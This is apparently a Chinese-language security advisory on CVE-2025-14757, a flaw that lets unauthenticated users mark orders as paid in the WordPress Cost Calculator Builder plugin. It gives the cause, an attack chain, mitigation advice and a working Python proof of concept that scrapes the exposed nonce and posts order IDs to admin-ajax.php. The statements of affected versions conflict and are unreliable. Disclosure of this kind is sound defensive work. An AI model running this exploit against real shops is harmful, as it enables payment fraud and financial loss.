IPBUF安全漏洞报告
English
CVE-2025-14757 CVSS 5.3 中危

CVE-2025-14757 WordPress Cost Calculator Builder未认证支付状态绕过漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-14757
漏洞类型
业务逻辑漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cost Calculator Builder WordPress插件

相关标签

业务逻辑漏洞支付绕过权限验证缺失WordPress插件未认证访问AJAX漏洞Cost Calculator BuilderCVE-2025-14757

漏洞概述

WordPress的Cost Calculator Builder插件(免费版及PRO版)在3.6.9及之前版本中存在严重的未认证支付状态绕过漏洞。该漏洞允许未经身份验证的攻击者将任意订单的支付状态标记为"已完成",而无需进行实际支付。漏洞的根本原因在于插件将complete_payment AJAX动作通过wp_ajax_nopriv注册,使得未认证用户可以访问该端点。更严重的是,complete()函数仅验证nonce值而未检查用户权限或订单所有权。由于nonce通过前端window.ccb_nonces对象暴露给所有页面访客,攻击者可以轻松获取有效的nonce并构造恶意请求。这一漏洞严重影响使用该插件进行在线支付和订单管理的WordPress网站,可能导致财务损失和订单数据混乱。

技术细节

漏洞存在于Cost Calculator Builder插件的AJAX处理逻辑中。插件通过wp_ajax_nopriv_Complete_payment动作注册了complete_payment端点,使得未登录用户也能访问。关键问题在于CCBOrderController.php中的complete()函数仅执行nonce验证,未进行用户身份认证和订单所有权检查。攻击流程如下:首先访问网站首页或任何包含计算器的页面,从页面源码中提取window.ccb_nonces对象中的nonce值;然后构造包含order_id参数的POST请求到/wp-admin/admin-ajax.php端点;最后服务器端仅验证nonce有效性后即将指定订单状态更新为completed。由于WordPress的nonce机制是为防止CSRF攻击设计而非身份认证,攻击者利用公开的nonce即可劫持任意订单。修复方案需在complete()函数中添加用户权限检查和订单所有权验证逻辑。

攻击链分析

STEP 1
步骤1:信息收集
攻击者访问目标WordPress网站,浏览包含Cost Calculator Builder插件的页面,从页面源码中提取window.ccb_nonces对象中的complete_payment nonce值
STEP 2
步骤2:构造恶意请求
攻击者构造POST请求到/wp-admin/admin-ajax.php端点,包含action参数设置为complete_payment,nonce参数设置为提取的值,order_id参数设置为目标订单ID
STEP 3
步骤3:发送漏洞利用请求
攻击者发送构造好的请求,由于插件仅验证nonce有效性而不检查用户权限或订单所有权,请求被服务器接受
STEP 4
步骤4:支付状态篡改
服务器端complete()函数执行后,将指定订单的支付状态更新为completed,完成未认证支付状态绕过攻击
STEP 5
步骤5:非法获利
攻击者获得付费服务或产品,而无需实际支付相应费用,造成网站经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-14757 PoC - Unauthenticated Payment Status Bypass # Target: WordPress Cost Calculator Builder plugin <= 3.6.9 TARGET_URL = "http://target-wordpress-site.com" ORDER_ID = "123" # Target order ID to mark as completed def get_nonce(): """Extract nonce from window.ccb_nonces object in page source""" try: response = requests.get(TARGET_URL, timeout=10) # Search for ccb_nonces in page source match = re.search(r'window\.ccb_nonces\s*=\s*({[^}]+})', response.text) if match: nonce_data = match.group(1) # Extract complete_payment nonce nonce_match = re.search(r'["\']complete_payment["\']:\s*["\']([^"\']+)["\']', nonce_data) if nonce_match: return nonce_match.group(1) return None except Exception as e: print(f"Error extracting nonce: {e}") return None def bypass_payment_status(nonce, order_id): """Send malicious request to mark order as completed""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { "action": "complete_payment", "nonce": nonce, "order_id": order_id } try: response = requests.post(endpoint, data=data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else None except Exception as e: print(f"Error sending request: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-14757 PoC - Cost Calculator Builder Payment Bypass") print("[*] Extracting nonce from target site...") nonce = get_nonce() if nonce: print(f"[+] Nonce obtained: {nonce}") print(f"[*] Sending payment bypass request for order {ORDER_ID}...") result = bypass_payment_status(nonce, ORDER_ID) if result: print(f"[+] Request result: {result}") else: print("[-] Failed to extract nonce")

影响范围

Cost Calculator Builder (免费版) < 3.6.9
Cost Calculator Builder PRO < 3.6.9
Cost Calculator Builder 所有版本 (当与PRO版本组合使用时)

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:将插件替换为其他具有支付功能的计算器插件;禁用Cost Calculator Builder的支付功能;通过Web应用防火墙规则阻止对/admin-ajax.php的complete_payment请求;限制订单状态修改操作的IP频率;启用双因素认证确保只有管理员才能手动修改订单状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表